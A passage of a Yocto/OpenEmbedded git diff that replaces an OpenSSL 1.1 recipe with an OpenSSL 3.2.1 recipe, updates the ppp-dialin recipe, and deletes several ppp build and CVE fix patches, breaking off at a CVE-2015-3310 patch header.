-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[cryptodev-linux] = "enable-devcryptoeng,disable-devcryptoeng,cryptodev-linux,,cryptodev-module"
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-#| ./libcrypto.so: undefined reference to `getcontext'
-#| ./libcrypto.so: undefined reference to `setcontext'
-#| ./libcrypto.so: undefined reference to `makecontext'
-EXTRA_OECONF_append_libc-musl = " no-async"
-EXTRA_OECONF_append_libc-musl_powerpc64 = " no-asm"
-
-# adding devrandom prevents openssl from using getrandom() which is not available on older glibc versions
-# (native versions can be built with newer glibc, but then relocated onto a system with older glibc)
-EXTRA_OECONF_class-native = "--with-rand-seed=os,devrandom"
-EXTRA_OECONF_class-nativesdk = "--with-rand-seed=os,devrandom"
-
-# Relying on hardcoded built-in paths causes openssl-native to not be relocateable from sstate.
-CFLAGS_append_class-native = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
-CFLAGS_append_class-nativesdk = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
-
-do_configure () {
- os=${HOST_OS}
- case $os in
- linux-gnueabi |\
- linux-gnuspe |\
- linux-musleabi |\
- linux-muslspe |\
- linux-musl )
- os=linux
- ;;
- *)
- ;;
- esac
- target="$os-${HOST_ARCH}"
- case $target in
- linux-arm*)
- target=linux-armv4
- ;;
- linux-aarch64*)
- target=linux-aarch64
- ;;
- linux-i?86 | linux-viac3)
- target=linux-x86
- ;;
- linux-gnux32-x86_64 | linux-muslx32-x86_64 )
- target=linux-x32
- ;;
- linux-gnu64-x86_64)
- target=linux-x86_64
- ;;
- linux-mips | linux-mipsel)
- # specifying TARGET_CC_ARCH prevents openssl from (incorrectly) adding target architecture flags
- target="linux-mips32 ${TARGET_CC_ARCH}"
- ;;
- linux-gnun32-mips*)
- target=linux-mips64
- ;;
- linux-*-mips64 | linux-mips64 | linux-*-mips64el | linux-mips64el)
- target=linux64-mips64
- ;;
- linux-microblaze* | linux-nios2* | linux-sh3 | linux-sh4 | linux-arc*)
- target=linux-generic32
- ;;
- linux-powerpc)
- target=linux-ppc
- ;;
- linux-powerpc64)
- target=linux-ppc64
- ;;
- linux-powerpc64le)
- target=linux-ppc64le
- ;;
- linux-riscv32)
- target=linux-generic32
- ;;
- linux-riscv64)
- target=linux-generic64
- ;;
- linux-sparc | linux-supersparc)
- target=linux-sparcv9
- ;;
- esac
-
- useprefix=${prefix}
- if [ "x$useprefix" = "x" ]; then
- useprefix=/
- fi
- # WARNING: do not set compiler/linker flags (-I/-D etc.) in EXTRA_OECONF, as they will fully replace the
- # environment variables set by bitbake. Adjust the environment variables instead.
- HASHBANGPERL="/usr/bin/env perl" PERL=perl PERL5LIB="${S}/external/perl/Text-Template-1.46/lib/" \
- perl ${S}/Configure ${EXTRA_OECONF} ${PACKAGECONFIG_CONFARGS} --prefix=$useprefix --openssldir=${libdir}/ssl-1.1 --libdir=${libdir} $target
- perl ${B}/configdata.pm --dump
-}
-
-do_install () {
- oe_runmake DESTDIR="${D}" MANDIR="${mandir}" MANSUFFIX=ssl install
-
- oe_multilib_header openssl/opensslconf.h
-
- # Create SSL structure for packages such as ca-certificates which
- # contain hard-coded paths to /etc/ssl. Debian does the same.
- install -d ${D}${sysconfdir}/ssl
- mv ${D}${libdir}/ssl-1.1/certs \
- ${D}${libdir}/ssl-1.1/private \
- ${D}${libdir}/ssl-1.1/openssl.cnf \
- ${D}${sysconfdir}/ssl/
-
- # Although absolute symlinks would be OK for the target, they become
- # invalid if native or nativesdk are relocated from sstate.
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/certs')} ${D}${libdir}/ssl-1.1/certs
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/private')} ${D}${libdir}/ssl-1.1/private
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/openssl.cnf')} ${D}${libdir}/ssl-1.1/openssl.cnf
-}
-
-do_install_append_class-native () {
- create_wrapper ${D}${bindir}/openssl \
- OPENSSL_CONF=${libdir}/ssl-1.1/openssl.cnf \
- SSL_CERT_DIR=${libdir}/ssl-1.1/certs \
- SSL_CERT_FILE=${libdir}/ssl-1.1/cert.pem \
- OPENSSL_ENGINES=${libdir}/engines-1.1
-}
-
-do_install_append_class-nativesdk () {
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-openssl.sh ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
- sed 's|/usr/lib/ssl/|/usr/lib/ssl-1.1/|g' -i ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
-}
-
-PTEST_BUILD_HOST_FILES += "configdata.pm"
-PTEST_BUILD_HOST_PATTERN = "perl_version ="
-do_install_ptest () {
- # Prune the build tree
- rm -f ${B}/fuzz/*.* ${B}/test/*.*
-
- cp ${S}/Configure ${B}/configdata.pm ${D}${PTEST_PATH}
- cp -r ${S}/external ${B}/test ${S}/test ${B}/fuzz ${S}/util ${B}/util ${D}${PTEST_PATH}
-
- # For test_shlibload
- ln -s ${libdir}/libcrypto.so.1.1 ${D}${PTEST_PATH}/
- ln -s ${libdir}/libssl.so.1.1 ${D}${PTEST_PATH}/
-
- install -d ${D}${PTEST_PATH}/apps
- ln -s ${bindir}/openssl ${D}${PTEST_PATH}/apps
- install -m644 ${S}/apps/*.pem ${S}/apps/*.srl ${S}/apps/openssl.cnf ${D}${PTEST_PATH}/apps
- install -m755 ${B}/apps/CA.pl ${D}${PTEST_PATH}/apps
-
- install -d ${D}${PTEST_PATH}/engines
- install -m755 ${B}/engines/ossltest.so ${D}${PTEST_PATH}/engines
-}
-
-# Add the openssl.cnf file to the openssl-conf package. Make the libcrypto
-# package RRECOMMENDS on this package. This will enable the configuration
-# file to be installed for both the openssl-bin package and the libcrypto
-# package since the openssl-bin package depends on the libcrypto package.
-
-PACKAGES =+ "libcrypto libssl openssl-conf ${PN}-engines ${PN}-misc"
-
-FILES_libcrypto = "${libdir}/libcrypto${SOLIBS}"
-FILES_libssl = "${libdir}/libssl${SOLIBS}"
-FILES_openssl-conf = "${sysconfdir}/ssl/openssl.cnf \
- ${libdir}/ssl-1.1/openssl.cnf* \
- "
-FILES_${PN}-engines = "${libdir}/engines-1.1"
-FILES_${PN}-misc = "${libdir}/ssl-1.1/misc"
-FILES_${PN} =+ "${libdir}/ssl-1.1/*"
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/openssl.sh"
-
-CONFFILES_openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
-
-RRECOMMENDS_libcrypto += "openssl-conf"
-RDEPENDS_${PN}-ptest += "openssl-bin perl perl-modules bash"
-
-RDEPENDS_${PN}-bin += "openssl-conf"
-
-BBCLASSEXTEND = "native nativesdk"
-
-CVE_PRODUCT = "openssl:openssl"
-
-# Only affects OpenSSL >= 1.1.1 in combination with Apache < 2.4.37
-# Apache in meta-webserver is already recent enough
-CVE_CHECK_WHITELIST += "CVE-2019-0190"
diff --git a/meta/recipes-connectivity/openssl/openssl_3.2.1.bb b/meta/recipes-connectivity/openssl/openssl_3.2.1.bb
new file mode 100644
index 0000000000..d37b68abbb
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl_3.2.1.bb
@@ -0,0 +1,264 @@
+SUMMARY = "Secure Socket Layer"
+DESCRIPTION = "Secure Socket Layer (SSL) binary and related cryptographic tools."
+HOMEPAGE = "http://www.openssl.org/"
+BUGTRACKER = "http://www.openssl.org/news/vulnerabilities.html"
+SECTION = "libs/network"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=c75985e733726beaba57bc5253e96d04"
+
+SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
+ file://run-ptest \
+ file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
+ file://0001-Configure-do-not-tweak-mips-cflags.patch \
+ file://0001-Added-handshake-history-reporting-when-test-fails.patch \
+ file://bti.patch \
+ file://CVE-2024-2511.patch \
+ "
+
+SRC_URI:append:class-nativesdk = " \
+ file://environment.d-openssl.sh \
+ "
+
+SRC_URI[sha256sum] = "83c7329fe52c850677d75e5d0b0ca245309b97e8ecbcfdc1dfdc4ab9fac35b39"
+
+inherit lib_package multilib_header multilib_script ptest perlnative manpages
+MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[cryptodev-linux] = "enable-devcryptoeng,disable-devcryptoeng,cryptodev-linux,,cryptodev-module"
+PACKAGECONFIG[no-tls1] = "no-tls1"
+PACKAGECONFIG[no-tls1_1] = "no-tls1_1"
+PACKAGECONFIG[manpages] = ""
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+#| ./libcrypto.so: undefined reference to `getcontext'
+#| ./libcrypto.so: undefined reference to `setcontext'
+#| ./libcrypto.so: undefined reference to `makecontext'
+EXTRA_OECONF:append:libc-musl = " no-async"
+EXTRA_OECONF:append:libc-musl:powerpc64 = " no-asm"
+
+# adding devrandom prevents openssl from using getrandom() which is not available on older glibc versions
+# (native versions can be built with newer glibc, but then relocated onto a system with older glibc)
+EXTRA_OECONF:class-native = "--with-rand-seed=os,devrandom"
+EXTRA_OECONF:class-nativesdk = "--with-rand-seed=os,devrandom"
+
+# Relying on hardcoded built-in paths causes openssl-native to not be relocateable from sstate.
+CFLAGS:append:class-native = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
+CFLAGS:append:class-nativesdk = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
+
+# This allows disabling deprecated or undesirable crypto algorithms.
+# The default is to trust upstream choices.
+DEPRECATED_CRYPTO_FLAGS ?= ""
+
+do_configure () {
+ # When we upgrade glibc but not uninative we see obtuse failures in openssl. Make
+ # the issue really clear that perl isn't functional due to symbol mismatch issues.
+ cat <<- EOF > ${WORKDIR}/perltest
+ #!/usr/bin/env perl
+ use POSIX;
+ EOF
+ chmod a+x ${WORKDIR}/perltest
+ ${WORKDIR}/perltest
+
+ os=${HOST_OS}
+ case $os in
+ linux-gnueabi |\
+ linux-gnuspe |\
+ linux-musleabi |\
+ linux-muslspe |\
+ linux-musl )
+ os=linux
+ ;;
+ *)
+ ;;
+ esac
+ target="$os-${HOST_ARCH}"
+ case $target in
+ linux-arc | linux-microblaze*)
+ target=linux-latomic
+ ;;
+ linux-arm*)
+ target=linux-armv4
+ ;;
+ linux-aarch64*)
+ target=linux-aarch64
+ ;;
+ linux-i?86 | linux-viac3)
+ target=linux-x86
+ ;;
+ linux-gnux32-x86_64 | linux-muslx32-x86_64 )
+ target=linux-x32
+ ;;
+ linux-gnu64-x86_64)
+ target=linux-x86_64
+ ;;
+ linux-loongarch64)
+ target=linux64-loongarch64
+ ;;
+ linux-mips | linux-mipsel)
+ # specifying TARGET_CC_ARCH prevents openssl from (incorrectly) adding target architecture flags
+ target="linux-mips32 ${TARGET_CC_ARCH}"
+ ;;
+ linux-gnun32-mips*)
+ target=linux-mips64
+ ;;
+ linux-*-mips64 | linux-mips64 | linux-*-mips64el | linux-mips64el)
+ target=linux64-mips64
+ ;;
+ linux-nios2* | linux-sh3 | linux-sh4 | linux-arc*)
+ target=linux-generic32
+ ;;
+ linux-powerpc)
+ target=linux-ppc
+ ;;
+ linux-powerpc64)
+ target=linux-ppc64
+ ;;
+ linux-powerpc64le)
+ target=linux-ppc64le
+ ;;
+ linux-riscv32)
+ target=linux32-riscv32
+ ;;
+ linux-riscv64)
+ target=linux64-riscv64
+ ;;
+ linux-sparc | linux-supersparc)
+ target=linux-sparcv9
+ ;;
+ mingw32-x86_64)
+ target=mingw64
+ ;;
+ esac
+
+ useprefix=${prefix}
+ if [ "x$useprefix" = "x" ]; then
+ useprefix=/
+ fi
+ # WARNING: do not set compiler/linker flags (-I/-D etc.) in EXTRA_OECONF, as they will fully replace the
+ # environment variables set by bitbake. Adjust the environment variables instead.
+ PERLEXTERNAL="$(realpath ${S}/external/perl/Text-Template-*/lib)"
+ test -d "$PERLEXTERNAL" || bberror "PERLEXTERNAL '$PERLEXTERNAL' not found!"
+ HASHBANGPERL="/usr/bin/env perl" PERL=perl PERL5LIB="$PERLEXTERNAL" \
+ perl ${S}/Configure ${EXTRA_OECONF} ${PACKAGECONFIG_CONFARGS} ${DEPRECATED_CRYPTO_FLAGS} --prefix=$useprefix --openssldir=${libdir}/ssl-3 --libdir=${libdir} $target
+ perl ${B}/configdata.pm --dump
+}
+
+do_install () {
+ oe_runmake DESTDIR="${D}" MANDIR="${mandir}" MANSUFFIX=ssl install_sw install_ssldirs ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'install_docs', '', d)}
+
+ oe_multilib_header openssl/opensslconf.h
+ oe_multilib_header openssl/configuration.h
+
+ # Create SSL structure for packages such as ca-certificates which
+ # contain hard-coded paths to /etc/ssl. Debian does the same.
+ install -d ${D}${sysconfdir}/ssl
+ mv ${D}${libdir}/ssl-3/certs \
+ ${D}${libdir}/ssl-3/private \
+ ${D}${libdir}/ssl-3/openssl.cnf \
+ ${D}${sysconfdir}/ssl/
+
+ # Although absolute symlinks would be OK for the target, they become
+ # invalid if native or nativesdk are relocated from sstate.
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/certs')} ${D}${libdir}/ssl-3/certs
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/private')} ${D}${libdir}/ssl-3/private
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/openssl.cnf')} ${D}${libdir}/ssl-3/openssl.cnf
+}
+
+do_install:append:class-native () {
+ create_wrapper ${D}${bindir}/openssl \
+ OPENSSL_CONF=${libdir}/ssl-3/openssl.cnf \
+ SSL_CERT_DIR=${libdir}/ssl-3/certs \
+ SSL_CERT_FILE=${libdir}/ssl-3/cert.pem \
+ OPENSSL_ENGINES=${libdir}/engines-3 \
+ OPENSSL_MODULES=${libdir}/ossl-modules
+}
+
+do_install:append:class-nativesdk () {
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-openssl.sh ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
+ sed 's|/usr/lib/ssl/|/usr/lib/ssl-3/|g' -i ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
+}
+
+PTEST_BUILD_HOST_FILES += "configdata.pm"
+PTEST_BUILD_HOST_PATTERN = "perl_version ="
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/p_test.so ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/p_minimal.so ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/provider_internal_test.cnf ${D}${PTEST_PATH}/test
+
+ # Prune the build tree
+ rm -f ${B}/fuzz/*.* ${B}/test/*.*
+
+ cp ${S}/Configure ${B}/configdata.pm ${D}${PTEST_PATH}
+ sed 's|${S}|${PTEST_PATH}|g' -i ${D}${PTEST_PATH}/configdata.pm
+ cp -r ${S}/external ${B}/test ${S}/test ${B}/fuzz ${S}/util ${B}/util ${D}${PTEST_PATH}
+
+ # For test_shlibload
+ ln -s ${libdir}/libcrypto.so.1.1 ${D}${PTEST_PATH}/
+ ln -s ${libdir}/libssl.so.1.1 ${D}${PTEST_PATH}/
+
+ install -d ${D}${PTEST_PATH}/apps
+ ln -s ${bindir}/openssl ${D}${PTEST_PATH}/apps
+ install -m644 ${S}/apps/*.pem ${S}/apps/*.srl ${S}/apps/openssl.cnf ${D}${PTEST_PATH}/apps
+ install -m755 ${B}/apps/CA.pl ${D}${PTEST_PATH}/apps
+
+ install -d ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/dasync.so ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/loader_attic.so ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/ossltest.so ${D}${PTEST_PATH}/engines
+
+ install -d ${D}${PTEST_PATH}/providers
+ install -m755 ${B}/providers/legacy.so ${D}${PTEST_PATH}/providers
+
+ install -d ${D}${PTEST_PATH}/Configurations
+ cp -rf ${S}/Configurations/* ${D}${PTEST_PATH}/Configurations/
+
+ # seems to be needed with perl 5.32.1
+ install -d ${D}${PTEST_PATH}/util/perl/recipes
+ cp ${D}${PTEST_PATH}/test/recipes/tconversion.pl ${D}${PTEST_PATH}/util/perl/recipes/
+
+ sed 's|${S}|${PTEST_PATH}|g' -i ${D}${PTEST_PATH}/util/wrap.pl
+}
+
+# Add the openssl.cnf file to the openssl-conf package. Make the libcrypto
+# package RRECOMMENDS on this package. This will enable the configuration
+# file to be installed for both the openssl-bin package and the libcrypto
+# package since the openssl-bin package depends on the libcrypto package.
+
+PACKAGES =+ "libcrypto libssl openssl-conf ${PN}-engines ${PN}-misc ${PN}-ossl-module-legacy"
+
+FILES:libcrypto = "${libdir}/libcrypto${SOLIBS}"
+FILES:libssl = "${libdir}/libssl${SOLIBS}"
+FILES:openssl-conf = "${sysconfdir}/ssl/openssl.cnf \
+ ${libdir}/ssl-3/openssl.cnf* \
+ "
+FILES:${PN}-engines = "${libdir}/engines-3"
+# ${prefix} comes from what we pass into --prefix at configure time (which is used for INSTALLTOP)
+FILES:${PN}-engines:append:mingw32:class-nativesdk = " ${prefix}${libdir}/engines-3"
+FILES:${PN}-misc = "${libdir}/ssl-3/misc ${bindir}/c_rehash"
+FILES:${PN}-ossl-module-legacy = "${libdir}/ossl-modules/legacy.so"
+FILES:${PN} =+ "${libdir}/ssl-3/* ${libdir}/ossl-modules/"
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/openssl.sh"
+
+CONFFILES:openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
+
+RRECOMMENDS:libcrypto += "openssl-conf ${PN}-ossl-module-legacy"
+RDEPENDS:${PN}-misc = "perl"
+RDEPENDS:${PN}-ptest += "openssl-bin perl perl-modules bash sed"
+
+RDEPENDS:${PN}-bin += "openssl-conf"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_PRODUCT = "openssl:openssl"
+
+CVE_VERSION_SUFFIX = "alphabetical"
+
diff --git a/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb b/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
index b5f68951d7..099c58bfc7 100644
--- a/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
+++ b/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
@@ -1,8 +1,8 @@
SUMMARY = "Enables PPP dial-in through a serial connection"
SECTION = "console/network"
+DESCRIPTION = "PPP dail-in provides a point to point protocol (PPP), so that other computers can dial up to it and access connected networks."
DEPENDS = "ppp"
-RDEPENDS_${PN} = "ppp"
-PR = "r8"
+RDEPENDS:${PN} = "ppp"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -22,6 +22,6 @@ do_install() {
}
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home /dev/null \
+USERADD_PARAM:${PN} = "--system --home /dev/null \
--no-create-home --shell ${sbindir}/ppp-dialin \
--no-user-group --gid nogroup ppp"
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch b/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 65291368bd..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,124 +0,0 @@
-From e50cdaed07e51f2508f94eb1f34fe43776e4ca78 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 May 2015 14:57:05 -0700
-Subject: [PATCH] Fix build with musl
-
-There are several assumption about glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- include/net/ppp_defs.h | 2 ++
- pppd/Makefile.linux | 2 +-
- pppd/plugins/rp-pppoe/config.h | 3 ++-
- pppd/plugins/rp-pppoe/plugin.c | 1 -
- pppd/plugins/rp-pppoe/pppoe-discovery.c | 8 ++++----
- pppd/plugins/rp-pppoe/pppoe.h | 2 +-
- pppd/sys-linux.c | 3 ++-
- 7 files changed, 12 insertions(+), 9 deletions(-)
-
-diff --git a/include/net/ppp_defs.h b/include/net/ppp_defs.h
-index b06eda5..dafa36c 100644
---- a/include/net/ppp_defs.h
-+++ b/include/net/ppp_defs.h
-@@ -38,6 +38,8 @@
- #ifndef _PPP_DEFS_H_
- #define _PPP_DEFS_H_
-
-+#include <sys/time.h>
-+
- /*
- * The basic PPP frame.
- */
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 4e485a1..76411bc 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -131,7 +131,7 @@ LIBS += -lcrypt
- endif
-
- ifdef USE_LIBUTIL
--CFLAGS += -DHAVE_LOGWTMP=1
-+#CFLAGS += -DHAVE_LOGWTMP=1
- LIBS += -lutil
- endif
-
-diff --git a/pppd/plugins/rp-pppoe/config.h b/pppd/plugins/rp-pppoe/config.h
-index a708859..4a16a88 100644
---- a/pppd/plugins/rp-pppoe/config.h
-+++ b/pppd/plugins/rp-pppoe/config.h
-@@ -78,8 +78,9 @@
- #define HAVE_NET_IF_ARP_H 1
-
- /* Define if you have the <net/ethernet.h> header file. */
-+#ifdef __GLIBC__
- #define HAVE_NET_ETHERNET_H 1
--
-+#endif
- /* Define if you have the <net/if.h> header file. */
- #define HAVE_NET_IF_H 1
-
-diff --git a/pppd/plugins/rp-pppoe/plugin.c b/pppd/plugins/rp-pppoe/plugin.c
-index 44e0c31..93c0906 100644
---- a/pppd/plugins/rp-pppoe/plugin.c
-+++ b/pppd/plugins/rp-pppoe/plugin.c
-@@ -46,7 +46,6 @@ static char const RCSID[] =
- #include <unistd.h>
- #include <fcntl.h>
- #include <signal.h>
--#include <net/ethernet.h>
- #include <net/if_arp.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_pppox.h>
-diff --git a/pppd/plugins/rp-pppoe/pppoe-discovery.c b/pppd/plugins/rp-pppoe/pppoe-discovery.c
-index f19c6d8..f45df2c 100644
---- a/pppd/plugins/rp-pppoe/pppoe-discovery.c
-+++ b/pppd/plugins/rp-pppoe/pppoe-discovery.c
-@@ -29,10 +29,6 @@
- #include <linux/if_packet.h>
- #endif
-
--#ifdef HAVE_NET_ETHERNET_H
--#include <net/ethernet.h>
--#endif
--
- #ifdef HAVE_ASM_TYPES_H
- #include <asm/types.h>
- #endif
-diff --git a/pppd/plugins/rp-pppoe/pppoe.h b/pppd/plugins/rp-pppoe/pppoe.h
-index a4e7d5c..de191c8 100644
---- a/pppd/plugins/rp-pppoe/pppoe.h
-+++ b/pppd/plugins/rp-pppoe/pppoe.h
-@@ -90,7 +90,7 @@ typedef unsigned long UINT32_t;
- #ifdef HAVE_SYS_SOCKET_H
- #include <sys/socket.h>
- #endif
--#ifndef HAVE_SYS_DLPI_H
-+#if !defined HAVE_SYS_DLPI_H && defined HAVE_NET_ETHERNET_H
- #include <netinet/if_ether.h>
- #endif
- #endif
-diff --git a/pppd/sys-linux.c b/pppd/sys-linux.c
-index a0531e9..84ee394 100644
---- a/pppd/sys-linux.c
-+++ b/pppd/sys-linux.c
-@@ -112,7 +112,7 @@
- #include <linux/types.h>
- #include <linux/if.h>
- #include <linux/if_arp.h>
--#include <linux/route.h>
-+/* #include <linux/route.h> */
- #include <linux/if_ether.h>
- #endif
- #include <netinet/in.h>
-@@ -145,6 +145,7 @@
- #endif
-
- #ifdef INET6
-+#include <net/route.h>
- #ifndef _LINUX_IN6_H
- /*
- * This is in linux/include/net/ipv6.h.
---
-2.17.1
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch b/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch
deleted file mode 100644
index a32f89fbc8..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-commit cd90fd147844a0cfec101f1e2db7a3c59d236621
-Author: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Wed Dec 28 14:11:22 2016 +0200
-
-pppol2tp plugin: Remove unneeded include
-
-The include is not required and will break compile on musl libc with
-
-| In file included from pppol2tp.c:34:0:
-| /usr/include/linux/if.h:97:2: error: expected identifier before numeric constant
-| IFF_LOWER_UP = 1<<16, /* __volatile__ */
-
-Patch originally from Khem Raj.
-
-Upstream-Status: Pending [https://github.com/paulusmack/ppp/issues/73]
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
-diff --git a/pppd/plugins/pppol2tp/openl2tp.c b/pppd/plugins/pppol2tp/openl2tp.c
-index 9643b96..458316b 100644
---- a/pppd/plugins/pppol2tp/openl2tp.c
-+++ b/pppd/plugins/pppol2tp/openl2tp.c
-@@ -47,7 +47,6 @@
- #include <linux/if_ether.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_ppp.h>
--#include <linux/if_pppox.h>
- #include <linux/if_pppol2tp.h>
-
- #include "l2tp_event.h"
-diff --git a/pppd/plugins/pppol2tp/pppol2tp.c b/pppd/plugins/pppol2tp/pppol2tp.c
-index 0e28606..4f6d98c 100644
---- a/pppd/plugins/pppol2tp/pppol2tp.c
-+++ b/pppd/plugins/pppol2tp/pppol2tp.c
-@@ -46,7 +46,6 @@
- #include <linux/if_ether.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_ppp.h>
--#include <linux/if_pppox.h>
- #include <linux/if_pppol2tp.h>
-
- /* should be added to system's socket.h... */
----
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch b/meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch
deleted file mode 100644
index b7ba7ba643..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 8d7970b8f3db727fe798b65f3377fe6787575426 Mon Sep 17 00:00:00 2001
-From: Paul Mackerras <paulus@ozlabs.org>
-Date: Mon, 3 Feb 2020 15:53:28 +1100
-Subject: [PATCH] pppd: Fix bounds check in EAP code
-
-Given that we have just checked vallen < len, it can never be the case
-that vallen >= len + sizeof(rhostname). This fixes the check so we
-actually avoid overflowing the rhostname array.
-
-Reported-by: Ilja Van Sprundel <ivansprundel@ioactive.com>
-Signed-off-by: Paul Mackerras <paulus@ozlabs.org>
-
-Upstream-Status: Backport
-[https://github.com/paulusmack/ppp/commit/8d7970b8f3db727fe798b65f3377fe6787575426]
-
-CVE: CVE-2020-8597
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- pppd/eap.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/pppd/eap.c b/pppd/eap.c
-index 94407f5..1b93db0 100644
---- a/pppd/eap.c
-+++ b/pppd/eap.c
-@@ -1420,7 +1420,7 @@ int len;
- }
-
- /* Not so likely to happen. */
-- if (vallen >= len + sizeof (rhostname)) {
-+ if (len - vallen >= sizeof (rhostname)) {
- dbglog("EAP: trimming really long peer name down");
- BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
- rhostname[sizeof (rhostname) - 1] = '\0';
-@@ -1846,7 +1846,7 @@ int len;
- }
-
- /* Not so likely to happen. */
-- if (vallen >= len + sizeof (rhostname)) {
-+ if (len - vallen >= sizeof (rhostname)) {
- dbglog("EAP: trimming really long peer name down");
- BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
- rhostname[sizeof (rhostname) - 1] = '\0';
---
-2.17.1
-
diff --git a/meta/recipes-connectivity/ppp/ppp/copts.patch b/meta/recipes-connectivity/ppp/ppp/copts.patch
deleted file mode 100644
index 53ff06e03e..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/copts.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-ppp: use build system CFLAGS when compiling
-
-Upstream-Status: Pending
-
-Override the hard-coded COPTS make variables with
-CFLAGS. Add COPTS into one Makefile that did not
-use it.
-
-Signed-off-by: Joe Slater <jslater@windriver.com>
-
---- a/pppd/plugins/radius/Makefile.linux
-+++ b/pppd/plugins/radius/Makefile.linux
-@@ -12,7 +12,7 @@ VERSION = $(shell awk -F '"' '/VERSION/
- INSTALL = install
-
- PLUGIN=radius.so radattr.so radrealms.so
--CFLAGS=-I. -I../.. -I../../../include -O2 -fPIC -DRC_LOG_FACILITY=LOG_DAEMON
-+CFLAGS=-I. -I../.. -I../../../include $(COPTS) -fPIC -DRC_LOG_FACILITY=LOG_DAEMON
-
- # Uncomment the next line to include support for Microsoft's
- # MS-CHAP authentication protocol.
diff --git a/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch b/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch
deleted file mode 100644
index c5a0be86f5..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-ppp: Buffer overflow in radius plugin
-
-From: https://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;bug=782450
-
-Upstream-Status: Backport
